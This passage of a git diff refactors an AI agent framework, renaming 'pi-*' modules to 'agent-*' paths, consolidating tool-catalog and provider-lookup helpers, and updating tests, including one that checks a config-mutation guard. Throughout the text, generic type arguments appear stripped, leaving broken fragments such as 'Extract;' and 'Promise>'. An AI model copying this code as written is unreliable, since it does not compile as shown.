"opencode"], - ["opencode-go-auth", "opencode-go"], -] as const; diff --git a/src/agents/test-helpers/unsafe-mounted-sandbox.ts b/src/agents/test-helpers/unsafe-mounted-sandbox.ts index 2d8ad84e7eb..e7cb62389ce 100644 --- a/src/agents/test-helpers/unsafe-mounted-sandbox.ts +++ b/src/agents/test-helpers/unsafe-mounted-sandbox.ts @@ -3,8 +3,8 @@ import os from "node:os"; import path from "node:path"; import type { SandboxContext } from "../sandbox.js"; import type { SandboxFsBridge, SandboxResolvedPath } from "../sandbox/fs-bridge.js"; +import { createAgentToolsSandboxContext } from "./agent-tools-sandbox-context.js"; import { createSandboxFsBridgeFromResolver } from "./host-sandbox-fs-bridge.js"; -import { createPiToolsSandboxContext } from "./pi-tools-sandbox-context.js"; function createUnsafeMountedBridge(params: { root: string; @@ -57,7 +57,7 @@ export function createUnsafeMountedSandbox(params: { agentHostRoot: params.agentRoot, workspaceContainerRoot: params.workspaceContainerRoot, }); - return createPiToolsSandboxContext({ + return createAgentToolsSandboxContext({ workspaceDir: params.sandboxRoot, agentWorkspaceDir: params.agentRoot, workspaceAccess: params.workspaceAccess ?? "rw", diff --git a/src/agents/test-helpers/usage-fixtures.ts b/src/agents/test-helpers/usage-fixtures.ts index ae827cbf575..1b40665b13d 100644 --- a/src/agents/test-helpers/usage-fixtures.ts +++ b/src/agents/test-helpers/usage-fixtures.ts @@ -1,4 +1,4 @@ -import type { Usage } from "@earendil-works/pi-ai"; +import type { Usage } from "openclaw/plugin-sdk/llm"; export const ZERO_USAGE_FIXTURE: Usage = { input: 0, diff --git a/src/agents/tool-call-id.test.ts b/src/agents/tool-call-id.test.ts index 7994c94ba84..c350433f5fb 100644 --- a/src/agents/tool-call-id.test.ts +++ b/src/agents/tool-call-id.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import { castAgentMessages } from "./test-helpers/agent-message-fixtures.js"; import { diff --git a/src/agents/tool-call-id.ts b/src/agents/tool-call-id.ts index 50794126a07..93caa5b37fe 100644 --- a/src/agents/tool-call-id.ts +++ b/src/agents/tool-call-id.ts @@ -1,5 +1,5 @@ import { createHash } from "node:crypto"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "./runtime/index.js"; import { isAllowedToolCallName, normalizeAllowedToolNames } from "./tool-call-shared.js"; export type ToolCallIdMode = "strict" | "strict9"; diff --git a/src/agents/tool-images.ts b/src/agents/tool-images.ts index 645d334513f..4065ca62ef4 100644 --- a/src/agents/tool-images.ts +++ b/src/agents/tool-images.ts @@ -1,5 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; -import type { ImageContent } from "@earendil-works/pi-ai"; +import type { ImageContent } from "../llm/types.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { canonicalizeBase64 } from "../media/base64.js"; import { @@ -14,6 +13,7 @@ import { DEFAULT_IMAGE_MAX_DIMENSION_PX, type ImageSanitizationLimits, } from "./image-sanitization.js"; +import type { AgentToolResult } from "./runtime/index.js"; type ToolContentBlock = AgentToolResult["content"][number]; type ImageContentBlock = Extract; diff --git a/src/agents/tool-policy-pipeline.ts b/src/agents/tool-policy-pipeline.ts index c26eac2e202..8094fb0214e 100644 --- a/src/agents/tool-policy-pipeline.ts +++ b/src/agents/tool-policy-pipeline.ts @@ -1,5 +1,5 @@ -import { filterToolsByPolicy } from "./pi-tools.policy.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +import { filterToolsByPolicy } from "./agent-tools.policy.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; import { isKnownCoreToolId } from "./tool-catalog.js"; import { auditToolPolicyFilter } from "./tool-policy-audit.js"; import { diff --git a/src/agents/tool-replay-repair.live.test.ts b/src/agents/tool-replay-repair.live.test.ts index d843cb1c175..eb4e7a95e59 100644 --- a/src/agents/tool-replay-repair.live.test.ts +++ b/src/agents/tool-replay-repair.live.test.ts @@ -1,10 +1,12 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { Api, Context, Model } from "@earendil-works/pi-ai"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; +import type { Api, Context, Model } from "openclaw/plugin-sdk/llm"; import { Type } from "typebox"; import { describe, expect, it } from "vitest"; import { getRuntimeConfig } from "../config/config.js"; +import { discoverAuthStorage, discoverModels } from "./agent-model-discovery.js"; import { resolveDefaultAgentDir } from "./agent-scope.js"; +import { sanitizeSessionHistory } from "./embedded-agent-runner/replay-history.js"; import { completeSimpleWithTimeout, type CompleteSimpleContent, @@ -16,8 +18,6 @@ import { } from "./live-test-helpers.js"; import { getApiKeyForModel, requireApiKey } from "./model-auth.js"; import { ensureOpenClawModelsJson } from "./models-config.js"; -import { sanitizeSessionHistory } from "./pi-embedded-runner/replay-history.js"; -import { discoverAuthStorage, discoverModels } from "./pi-model-discovery.js"; import { transformTransportMessages } from "./transport-message-transform.js"; const LIVE = isLiveTestEnabled(); @@ -73,14 +73,14 @@ function createNoopTools() { ]; } -function replayValidationTools(model: Model) { +function replayValidationTools(model: Model) { // Responses-family providers may force or reject fresh tool-choice policy // when tools are present. These probes validate repaired historical transcript // shape, not new tool invocation. return isOpenAIResponsesFamily(model.api) ? undefined : createNoopTools(); } -function buildReplayMessages(model: Model): AgentMessage[] { +function buildReplayMessages(model: Model): AgentMessage[] { const now = Date.now(); // Gemini source metadata deliberately simulates a model switch from a // provider-owned transcript. That forces the same id sanitization and replay @@ -134,7 +134,7 @@ function buildReplayMessages(model: Model): AgentMessage[] { ] as unknown as AgentMessage[]; } -function buildAbortedTransportMessages(model: Model): Context["messages"] { +function buildAbortedTransportMessages(model: Model): Context["messages"] { const now = Date.now(); return [ { @@ -203,7 +203,7 @@ describeLive("tool replay repair live", () => { const agentDir = resolveDefaultAgentDir(cfg); const authStorage = discoverAuthStorage(agentDir); const modelRegistry = discoverModels(authStorage, agentDir); - const model = modelRegistry.find(target.provider, target.modelId) as Model | null; + const model = modelRegistry.find(target.provider, target.modelId) as Model | null; if (!model) { logProgress(`[tool-replay-repair] model missing from registry: ${target.ref}`); @@ -314,7 +314,7 @@ describeLive("tool replay repair live", () => { const agentDir = resolveDefaultAgentDir(cfg); const authStorage = discoverAuthStorage(agentDir); const modelRegistry = discoverModels(authStorage, agentDir); - const model = modelRegistry.find(target.provider, target.modelId) as Model | null; + const model = modelRegistry.find(target.provider, target.modelId) as Model | null; if (!model) { logProgress(`[tool-replay-repair] model missing from registry: ${target.ref}`); diff --git a/src/agents/tool-search.test.ts b/src/agents/tool-search.test.ts index cd18fb383f8..94258887f37 100644 --- a/src/agents/tool-search.test.ts +++ b/src/agents/tool-search.test.ts @@ -1,10 +1,10 @@ import { describe, expect, it, vi } from "vitest"; import { setPluginToolMeta } from "../plugins/tools.js"; -import { wrapToolWithAbortSignal } from "./pi-tools.abort.js"; +import { wrapToolWithAbortSignal } from "./agent-tools.abort.js"; import { isToolWrappedWithBeforeToolCallHook, wrapToolWithBeforeToolCallHook, -} from "./pi-tools.before-tool-call.js"; +} from "./agent-tools.before-tool-call.js"; import { testing, addClientToolsToToolSearchCatalog, diff --git a/src/agents/tool-search.ts b/src/agents/tool-search.ts index 1551c1b1060..df7934e6107 100644 --- a/src/agents/tool-search.ts +++ b/src/agents/tool-search.ts @@ -1,11 +1,5 @@ import { spawn } from "node:child_process"; import os from "node:os"; -import type { - AgentMessage, - AgentToolResult, - AgentToolUpdateCallback, -} from "@earendil-works/pi-agent-core"; -import type { ToolDefinition } from "@earendil-works/pi-coding-agent"; import { Type } from "typebox"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { getPluginToolMeta } from "../plugins/tools.js"; @@ -19,7 +13,9 @@ import { isToolWrappedWithBeforeToolCallHook, type HookContext, wrapToolWithBeforeToolCallHook, -} from "./pi-tools.before-tool-call.js"; +} from "./agent-tools.before-tool-call.js"; +import type { AgentMessage, AgentToolResult, AgentToolUpdateCallback } from "./runtime/index.js"; +import type { ToolDefinition } from "./sessions/index.js"; import { asToolParamsRecord, jsonResult, ToolInputError } from "./tools/common.js"; import type { AnyAgentTool } from "./tools/common.js"; @@ -50,7 +46,7 @@ export type ToolSearchCatalogToolExecutor = (params: { parentToolCallId?: string; input: unknown; signal?: AbortSignal; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }) => Promise>; export type ToolSearchTargetTranscriptProjection = { @@ -531,10 +527,6 @@ function shouldExposeControlTool(name: string, mode: ToolSearchMode): boolean { return false; } -function dropToolSearchControlTools(tools: AnyAgentTool[]): AnyAgentTool[] { - return tools.filter((tool) => !TOOL_SEARCH_CONTROL_TOOL_NAMES.has(tool.name)); -} - function readMessageToolResultId(message: AgentMessage): string | undefined { const record = message as unknown as Record; const role = typeof record.role === "string" ? record.role : ""; @@ -698,54 +690,13 @@ export function applyToolSearchCatalog(params: { catalogRegistered: boolean; } { const config = resolveToolSearchConfig(params.config); - if (!config.enabled) { - return { tools: params.tools, compacted: false, catalogToolCount: 0, catalogRegistered: false }; - } - const hasControlTool = params.tools.some( - (tool) => + return applyToolCatalogCompaction({ + ...params, + enabled: config.enabled, + isVisibleControlTool: (tool) => TOOL_SEARCH_CONTROL_TOOL_NAMES.has(tool.name) && shouldExposeControlTool(tool.name, config.mode), - ); - const key = sessionCatalogKey(params); - if (!hasControlTool || (!key && !params.catalogRef)) { - return { - tools: dropToolSearchControlTools(params.tools), - compacted: false, - catalogToolCount: 0, - catalogRegistered: false, - }; - } - - const visible: AnyAgentTool[] = []; - const catalog: ToolSearchCatalogEntry[] = []; - for (const tool of params.tools) { - if (TOOL_SEARCH_CONTROL_TOOL_NAMES.has(tool.name)) { - if (shouldExposeControlTool(tool.name, config.mode)) { - visible.push(tool); - } - continue; - } - if (shouldCatalogTool(tool)) { - catalog.push(toCatalogEntry(tool, undefined, params.toolHookContext)); - continue; - } - visible.push(tool); - } - registerToolSearchCatalog({ - sessionId: params.sessionId, - sessionKey: params.sessionKey, - agentId: params.agentId, - runId: params.runId, - catalogRef: params.catalogRef, - entries: catalog, - append: false, }); - return { - tools: visible, - compacted: catalog.length > 0, - catalogToolCount: catalog.length, - catalogRegistered: true, - }; } export function addClientToolsToToolSearchCatalog(params: { @@ -757,25 +708,10 @@ export function addClientToolsToToolSearchCatalog(params: { runId?: string; catalogRef?: ToolSearchCatalogRef; }): { tools: ToolDefinition[]; compacted: boolean; catalogToolCount: number } { - const config = resolveToolSearchConfig(params.config); - const key = sessionCatalogKey(params); - if (!config.enabled || (!key && !params.catalogRef)) { - return { tools: params.tools, compacted: false, catalogToolCount: 0 }; - } - const existing = params.catalogRef?.current ?? (key ? sessionCatalogs.get(key) : undefined); - if (!existing) { - return { tools: params.tools, compacted: false, catalogToolCount: 0 }; - } - registerToolSearchCatalog({ - sessionId: params.sessionId, - sessionKey: params.sessionKey, - agentId: params.agentId, - runId: params.runId, - catalogRef: params.catalogRef, - entries: params.tools.map((tool) => toCatalogEntry(tool, "client")), - append: true, + return addClientToolsToToolCatalog({ + ...params, + enabled: resolveToolSearchConfig(params.config).enabled, }); - return { tools: [], compacted: params.tools.length > 0, catalogToolCount: params.tools.length }; } export function registerToolSearchCatalog(params: { @@ -1027,7 +963,7 @@ export class ToolSearchRuntime { options?: { parentToolCallId?: string; signal?: AbortSignal; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }, ) => { const catalog = resolveCatalog(this.ctx); @@ -1104,6 +1040,9 @@ export function applyToolCatalogCompaction(params: { visible.push(tool); continue; } + if (TOOL_SEARCH_CONTROL_TOOL_NAMES.has(tool.name)) { + continue; + } if (shouldCatalog(tool)) { catalog.push(toCatalogEntry(tool, undefined, params.toolHookContext)); continue; @@ -1190,7 +1129,7 @@ async function runCodeMode(params: { code: string; config: ToolSearchConfig; signal?: AbortSignal; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }) { const runtime = new ToolSearchRuntime(params.ctx, params.config); const logs: string[] = []; @@ -1229,7 +1168,7 @@ async function runCodeModeBridgeRequest( options?: { parentToolCallId?: string; signal?: AbortSignal; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }, ): Promise { const values = Array.isArray(args) ? args : []; @@ -1269,7 +1208,7 @@ function runCodeModeChild(params: { parentToolCallId: string; runtime: ToolSearchRuntime; signal?: AbortSignal; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }): Promise { return new Promise((resolve, reject) => { const child = spawn(process.execPath, buildCodeModeChildArgs(), { @@ -1444,7 +1383,7 @@ export function createToolSearchTools(ctx: ToolSearchToolContext): AnyAgentTool[ toolCallId: string, args: unknown, signal?: AbortSignal, - onUpdate?: AgentToolUpdateCallback, + onUpdate?: AgentToolUpdateCallback, ): Promise> => jsonResult( await runCodeMode({ toolCallId, ctx, code: readCode(args), config, signal, onUpdate }), @@ -1487,7 +1426,7 @@ export function createToolSearchTools(ctx: ToolSearchToolContext): AnyAgentTool[ _toolCallId: string, args: unknown, signal?: AbortSignal, - onUpdate?: AgentToolUpdateCallback, + onUpdate?: AgentToolUpdateCallback, ): Promise> => { const call = readCallArgs(args); return jsonResult( diff --git a/src/agents/tools-effective-inventory.test.ts b/src/agents/tools-effective-inventory.test.ts index 8eb6e9733b4..556868f18cf 100644 --- a/src/agents/tools-effective-inventory.test.ts +++ b/src/agents/tools-effective-inventory.test.ts @@ -1,7 +1,7 @@ import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { createEmptyPluginRegistry } from "../plugins/registry-empty.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; -import type { createOpenClawCodingTools } from "./pi-tools.js"; +import type { createOpenClawCodingTools } from "./agent-tools.js"; import type { AnyAgentTool } from "./tools/common.js"; function mockTool(params: { @@ -44,7 +44,7 @@ vi.mock("./agent-scope.js", async () => { }; }); -vi.mock("./pi-tools.js", () => ({ +vi.mock("./agent-tools.js", () => ({ createOpenClawCodingTools: (options?: Parameters[0]) => effectiveInventoryState.createToolsMock(options), })); @@ -60,7 +60,7 @@ vi.mock("./channel-tools.js", () => ({ effectiveInventoryState.channelMeta[tool.name], })); -vi.mock("./pi-tools.policy.js", () => ({ +vi.mock("./agent-tools.policy.js", () => ({ resolveEffectiveToolPolicy: () => effectiveInventoryState.effectivePolicy, })); diff --git a/src/agents/tools-effective-inventory.ts b/src/agents/tools-effective-inventory.ts index e878ae44849..78c8207a2d8 100644 --- a/src/agents/tools-effective-inventory.ts +++ b/src/agents/tools-effective-inventory.ts @@ -7,10 +7,10 @@ import { normalizeOptionalString, } from "../shared/string-coerce.js"; import { resolveAgentDir, resolveAgentWorkspaceDir, resolveSessionAgentId } from "./agent-scope.js"; +import { createOpenClawCodingTools } from "./agent-tools.js"; +import { resolveEffectiveToolPolicy } from "./agent-tools.policy.js"; import { getChannelAgentToolMeta } from "./channel-tools.js"; import { normalizeStaticProviderModelId } from "./model-ref-shared.js"; -import { createOpenClawCodingTools } from "./pi-tools.js"; -import { resolveEffectiveToolPolicy } from "./pi-tools.policy.js"; import { findNormalizedProviderValue, normalizeProviderId } from "./provider-id.js"; import { summarizeToolDescriptionText } from "./tool-description-summary.js"; import { resolveToolDisplay } from "./tool-display.js"; diff --git a/src/agents/tools/agent-step.test.ts b/src/agents/tools/agent-step.test.ts index 8bdc0d85bea..dc02470894b 100644 --- a/src/agents/tools/agent-step.test.ts +++ b/src/agents/tools/agent-step.test.ts @@ -15,7 +15,7 @@ vi.mock("../run-wait.js", () => ({ runWaitMocks.waitForAgentRunAndReadUpdatedAssistantReply, })); -vi.mock("../pi-bundle-mcp-tools.js", () => ({ +vi.mock("../agent-bundle-mcp-tools.js", () => ({ retireSessionMcpRuntimeForSessionKey: bundleMcpRuntimeMocks.retireSessionMcpRuntimeForSessionKey, })); diff --git a/src/agents/tools/agent-step.ts b/src/agents/tools/agent-step.ts index 63ead75ef05..ccd399da472 100644 --- a/src/agents/tools/agent-step.ts +++ b/src/agents/tools/agent-step.ts @@ -2,8 +2,8 @@ import crypto from "node:crypto"; import { callGateway } from "../../gateway/call.js"; import { annotateInterSessionPromptText } from "../../sessions/input-provenance.js"; import { INTERNAL_MESSAGE_CHANNEL } from "../../utils/message-channel.js"; +import { retireSessionMcpRuntimeForSessionKey } from "../agent-bundle-mcp-tools.js"; import { resolveNestedAgentLaneForSession } from "../lanes.js"; -import { retireSessionMcpRuntimeForSessionKey } from "../pi-bundle-mcp-tools.js"; import { waitForAgentRunAndReadUpdatedAssistantReply } from "../run-wait.js"; export { readLatestAssistantReply } from "../run-wait.js"; diff --git a/src/agents/tools/agents-list-tool.test.ts b/src/agents/tools/agents-list-tool.test.ts index 59ac041be10..016d88cd6f1 100644 --- a/src/agents/tools/agents-list-tool.test.ts +++ b/src/agents/tools/agents-list-tool.test.ts @@ -36,7 +36,7 @@ describe("agents_list tool", () => { agents: { defaults: { model: "anthropic/claude-opus-4.5", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, subagents: { allowAgents: ["codex"] }, }, list: [ @@ -45,14 +45,14 @@ describe("agents_list tool", () => { id: "codex", name: "Codex", model: "openai/gpt-5.5", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: { "openai/gpt-5.5": { agentRuntime: { id: "codex" } }, }, }, ], }, - } satisfies OpenClawConfig); + } as unknown as OpenClawConfig); const result = await createAgentsListTool({ agentSessionKey: "agent:main:main" }).execute( "call", diff --git a/src/agents/tools/chat-history-text.ts b/src/agents/tools/chat-history-text.ts index fca4128fe5c..1ac2d45009c 100644 --- a/src/agents/tools/chat-history-text.ts +++ b/src/agents/tools/chat-history-text.ts @@ -1,6 +1,6 @@ import { extractAssistantTextForPhase } from "../../shared/chat-message-content.js"; import { sanitizeAssistantVisibleTextWithProfile } from "../../shared/text/assistant-visible-text.js"; -import { sanitizeUserFacingText } from "../pi-embedded-helpers/sanitize-user-facing-text.js"; +import { sanitizeUserFacingText } from "../embedded-agent-helpers/sanitize-user-facing-text.js"; export function stripToolMessages(messages: unknown[]): unknown[] { return messages.filter((msg) => { diff --git a/src/agents/tools/common.ts b/src/agents/tools/common.ts index 75d20cba514..ac1b9813781 100644 --- a/src/agents/tools/common.ts +++ b/src/agents/tools/common.ts @@ -1,14 +1,10 @@ -import type { - AgentTool, - AgentToolResult, - AgentToolUpdateCallback, -} from "@earendil-works/pi-agent-core"; import type { TSchema } from "typebox"; import { readLocalFileSafely } from "../../infra/fs-safe.js"; import { detectMime } from "../../media/mime.js"; import { readSnakeCaseParamRaw } from "../../param-key.js"; import { normalizeStringEntries } from "../../shared/string-normalization.js"; import type { ImageSanitizationLimits } from "../image-sanitization.js"; +import type { AgentTool, AgentToolResult, AgentToolUpdateCallback } from "../runtime/index.js"; import { sanitizeToolResultImages } from "../tool-images.js"; export type AgentToolWithMeta = AgentTool< @@ -24,11 +20,11 @@ type ErasedAgentToolExecute = { toolCallId: string, params: unknown, signal?: AbortSignal, - onUpdate?: AgentToolUpdateCallback, + onUpdate?: AgentToolUpdateCallback, ): Promise>; }; -export type AnyAgentTool = Omit, "execute"> & +export type AnyAgentTool = Omit & ErasedAgentToolExecute & { displaySummary?: string; }; diff --git a/src/agents/tools/gateway-tool-guard-coverage.test.ts b/src/agents/tools/gateway-tool-guard-coverage.test.ts index 500b251d97a..dd4711cdacd 100644 --- a/src/agents/tools/gateway-tool-guard-coverage.test.ts +++ b/src/agents/tools/gateway-tool-guard-coverage.test.ts @@ -276,16 +276,16 @@ describe("gateway config mutation guard coverage", () => { ); }); - it("blocks per-agent embeddedPi override under agents.list[]", () => { + it("blocks per-agent embeddedAgent override under agents.list[]", () => { expectBlocked( { agents: { - list: [{ id: "worker", embeddedPi: { executionContract: "strict-agentic" } }], + list: [{ id: "worker", embeddedAgent: { executionContract: "strict-agentic" } }], }, }, { agents: { - list: [{ id: "worker", embeddedPi: { executionContract: "none" } }], + list: [{ id: "worker", embeddedAgent: { executionContract: "none" } }], }, }, ); diff --git a/src/agents/tools/image-generate-tool.test.ts b/src/agents/tools/image-generate-tool.test.ts index 7f9027c64cc..610678d01f0 100644 --- a/src/agents/tools/image-generate-tool.test.ts +++ b/src/agents/tools/image-generate-tool.test.ts @@ -376,7 +376,7 @@ describe("createImageGenerateTool", () => { expect(listProviders).not.toHaveBeenCalled(); }); - it("matches image-generation providers across canonical provider aliases", () => { + it("matches image-generation providers across plugin-advertised aliases", () => { vi.spyOn(imageGenerationRuntime, "listRuntimeImageGenerationProviders").mockReturnValue([ { id: "z.ai", diff --git a/src/agents/tools/image-tool.helpers.ts b/src/agents/tools/image-tool.helpers.ts index 58508304624..e670d6d7983 100644 --- a/src/agents/tools/image-tool.helpers.ts +++ b/src/agents/tools/image-tool.helpers.ts @@ -1,10 +1,10 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { AssistantMessage } from "../../llm/types.js"; import { estimateBase64DecodedBytes } from "../../media/base64.js"; import { normalizeLowercaseStringOrEmpty } from "../../shared/string-coerce.js"; +import { extractAssistantText } from "../embedded-agent-utils.js"; import { isMinimaxVlmProvider } from "../minimax-vlm.js"; import { findNormalizedProviderValue, normalizeProviderId } from "../model-selection.js"; -import { extractAssistantText } from "../pi-embedded-utils.js"; import { coerceToolModelConfig, type ToolModelConfig } from "./model-config.helpers.js"; export type ImageModelConfig = ToolModelConfig; diff --git a/src/agents/tools/image-tool.test.ts b/src/agents/tools/image-tool.test.ts index 4300e25c2da..c412c27d399 100644 --- a/src/agents/tools/image-tool.test.ts +++ b/src/agents/tools/image-tool.test.ts @@ -12,8 +12,8 @@ import type { MediaUnderstandingProvider, } from "../../plugin-sdk/media-understanding.js"; import { withFetchPreconnect } from "../../test-utils/fetch-mock.js"; +import { createOpenClawCodingTools } from "../agent-tools.js"; import { minimaxUnderstandImage } from "../minimax-vlm.js"; -import { createOpenClawCodingTools } from "../pi-tools.js"; import type { SandboxFsBridge } from "../sandbox/fs-bridge.js"; import { createHostSandboxFsBridge } from "../test-helpers/host-sandbox-fs-bridge.js"; import { createUnsafeMountedSandbox } from "../test-helpers/unsafe-mounted-sandbox.js"; @@ -34,7 +34,7 @@ type MockOpenClawToolsOptions = { modelHasVision?: boolean; }; -const piToolsHarness = vi.hoisted(() => ({ +const agentToolsHarness = vi.hoisted(() => ({ createStubTool(name: string) { return { name, @@ -74,8 +74,8 @@ vi.mock("../bash-tools.js", async () => { const actual = await vi.importActual("../bash-tools.js"); return { ...actual, - createExecTool: vi.fn(() => piToolsHarness.createStubTool("exec")), - createProcessTool: vi.fn(() => piToolsHarness.createStubTool("process")), + createExecTool: vi.fn(() => agentToolsHarness.createStubTool("exec")), + createProcessTool: vi.fn(() => agentToolsHarness.createStubTool("process")), }; }); @@ -85,14 +85,14 @@ vi.mock("../channel-tools.js", () => ({ })); vi.mock("../apply-patch.js", () => ({ - createApplyPatchTool: vi.fn(() => piToolsHarness.createStubTool("apply_patch")), + createApplyPatchTool: vi.fn(() => agentToolsHarness.createStubTool("apply_patch")), })); -vi.mock("../pi-tools.before-tool-call.js", () => ({ +vi.mock("../agent-tools.before-tool-call.js", () => ({ wrapToolWithBeforeToolCallHook: vi.fn((tool) => tool), })); -vi.mock("../pi-tools.abort.js", () => ({ +vi.mock("../agent-tools.abort.js", () => ({ wrapToolWithAbortSignal: vi.fn((tool) => tool), })); @@ -1171,7 +1171,7 @@ describe("image tool implicit imageModel config", () => { }); }); - it("pairs a provider when config uses an alias key", async () => { + it("does not pair provider aliases through core normalization", async () => { await withTempAgentDir(async (agentDir) => { await writeAuthProfiles(agentDir, { version: 1, @@ -1197,10 +1197,7 @@ describe("image tool implicit imageModel config", () => { }, }, }; - expect(resolveImageModelConfigForTool({ cfg, agentDir })).toEqual({ - primary: "amazon-bedrock/vision-1", - }); - expect(typeof createImageTool({ config: cfg, agentDir })?.execute).toBe("function"); + expect(resolveImageModelConfigForTool({ cfg, agentDir })).toBeNull(); }); }); diff --git a/src/agents/tools/image-tool.ts b/src/agents/tools/image-tool.ts index e28b8ca4492..8163db03531 100644 --- a/src/agents/tools/image-tool.ts +++ b/src/agents/tools/image-tool.ts @@ -31,16 +31,16 @@ import { import type { ProviderRuntimeModel } from "../../plugins/provider-runtime-model.types.js"; import { resolveUserPath } from "../../utils.js"; import type { AuthProfileStore } from "../auth-profiles/types.js"; +import { resolveModelAsync } from "../embedded-agent-runner/model.js"; +import { + bundledStaticCatalogProviderUsesRuntimeAugment, + resolveBundledStaticCatalogModel, +} from "../embedded-agent-runner/model.static-catalog.js"; import { isMinimaxVlmProvider } from "../minimax-vlm.js"; import { resolveImageFallbackCandidates, resolveImageFallbackDefaultProvider, } from "../model-fallback.js"; -import { resolveModelAsync } from "../pi-embedded-runner/model.js"; -import { - bundledStaticCatalogProviderUsesRuntimeAugment, - resolveBundledStaticCatalogModel, -} from "../pi-embedded-runner/model.static-catalog.js"; import { coerceImageAssistantText, coerceImageModelConfig, @@ -421,7 +421,7 @@ async function resolveCompressionModelPolicyWithHooks(params: { { allowBundledStaticCatalogFallback: true, skipProviderRuntimeHooks: params.skipProviderRuntimeHooks, - skipPiDiscovery: true, + skipAgentDiscovery: true, workspaceDir: params.workspaceDir, }, ); diff --git a/src/agents/tools/media-tool-shared.ts b/src/agents/tools/media-tool-shared.ts index f89b2d46f25..7e77be7b902 100644 --- a/src/agents/tools/media-tool-shared.ts +++ b/src/agents/tools/media-tool-shared.ts @@ -1,9 +1,13 @@ -import { type Api, type Model } from "@earendil-works/pi-ai"; import type { AgentModelConfig } from "../../config/types.agents-shared.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import type { SsrFPolicy } from "../../infra/net/ssrf.js"; +import type { Model } from "../../llm/types.js"; import { resolveChannelInboundAttachmentRootsForChannel } from "../../media/channel-inbound-roots.js"; import { normalizeInboundPathRoots } from "../../media/inbound-path-policy.js"; +import { + findCapabilityProviderById, + resolveCapabilityModelRefForProviders, +} from "../../media-generation/capability-model-ref.js"; import { getDefaultLocalRoots } from "../../media/local-media-access.js"; import { readSnakeCaseParamRaw } from "../../param-key.js"; import { loadCapabilityManifestSnapshot } from "../../plugins/capability-provider-runtime.js"; @@ -149,45 +153,17 @@ type GenerationCapabilityProviderKey = | "videoGenerationProviders" | "musicGenerationProviders"; -function findCapabilityProviderById(params: { - providers: T[]; - providerId?: string; -}): T | undefined { - const selectedProvider = normalizeProviderId(params.providerId ?? ""); - return params.providers.find( - (provider) => - normalizeProviderId(provider.id) === selectedProvider || - (provider.aliases ?? []).some((alias) => normalizeProviderId(alias) === selectedProvider), - ); -} - function parseCapabilityModelRefForProviders(params: { providers: CapabilityProvider[]; raw?: string; parseModelRef: ParseGenerationModelRef; }): GenerationModelRef | null { - const raw = normalizeOptionalString(params.raw); - if (!raw) { - return null; - } - const parsed = params.parseModelRef(raw); - if ( - parsed && - findCapabilityProviderById({ - providers: params.providers, - providerId: parsed.provider, - }) - ) { - return parsed; - } - const provider = params.providers.find((candidate) => { - const models = [candidate.defaultModel, ...(candidate.models ?? [])]; - return models.some((model) => normalizeOptionalString(model) === raw); + return resolveCapabilityModelRefForProviders({ + providers: params.providers, + raw: params.raw, + parseModelRef: params.parseModelRef, + normalizeProviderId, }); - if (provider) { - return { provider: provider.id, model: raw }; - } - return parsed; } export function isCapabilityProviderConfigured(params: { @@ -204,6 +180,7 @@ export function isCapabilityProviderConfigured(par findCapabilityProviderById({ providers: params.providers, providerId: params.providerId, + normalizeProviderId, }); if (!provider) { return params.providerId @@ -254,6 +231,7 @@ export function resolveSelectedCapabilityProvider( return findCapabilityProviderById({ providers: params.providers, providerId: selectedRef.provider, + normalizeProviderId, }); } @@ -611,19 +589,16 @@ export function resolveModelFromRegistry(params: { modelRegistry: { find: (provider: string, modelId: string) => unknown }; provider: string; modelId: string; -}): Model { +}): Model { const resolvedRef = normalizeModelRef(params.provider, params.modelId, { allowPluginNormalization: false, }); - let model = params.modelRegistry.find( - resolvedRef.provider, - resolvedRef.model, - ) as Model | null; + let model = params.modelRegistry.find(resolvedRef.provider, resolvedRef.model) as Model | null; if (!model && !resolvedRef.model.includes("/")) { model = params.modelRegistry.find( resolvedRef.provider, `${resolvedRef.provider}/${resolvedRef.model}`, - ) as Model | null; + ) as Model | null; } if (!model) { throw new Error(`Unknown model: ${resolvedRef.provider}/${resolvedRef.model}`); @@ -632,7 +607,7 @@ export function resolveModelFromRegistry(params: { } export async function resolveModelRuntimeApiKey(params: { - model: Model; + model: Model; cfg: OpenClawConfig | undefined; agentDir: string; authStorage: { diff --git a/src/agents/tools/nodes-tool-media.ts b/src/agents/tools/nodes-tool-media.ts index 64a23bdcc99..7bcf954b699 100644 --- a/src/agents/tools/nodes-tool-media.ts +++ b/src/agents/tools/nodes-tool-media.ts @@ -1,5 +1,4 @@ import crypto from "node:crypto"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { type CameraFacing, cameraTempPath, @@ -17,6 +16,7 @@ import { parseDurationMs } from "../../cli/parse-duration.js"; import { imageMimeFromFormat } from "../../media/mime.js"; import { normalizeLowercaseStringOrEmpty } from "../../shared/string-coerce.js"; import type { ImageSanitizationLimits } from "../image-sanitization.js"; +import type { AgentToolResult } from "../runtime/index.js"; import { sanitizeToolResultImages } from "../tool-images.js"; import type { GatewayCallOptions } from "./gateway.js"; import { callGatewayTool } from "./gateway.js"; diff --git 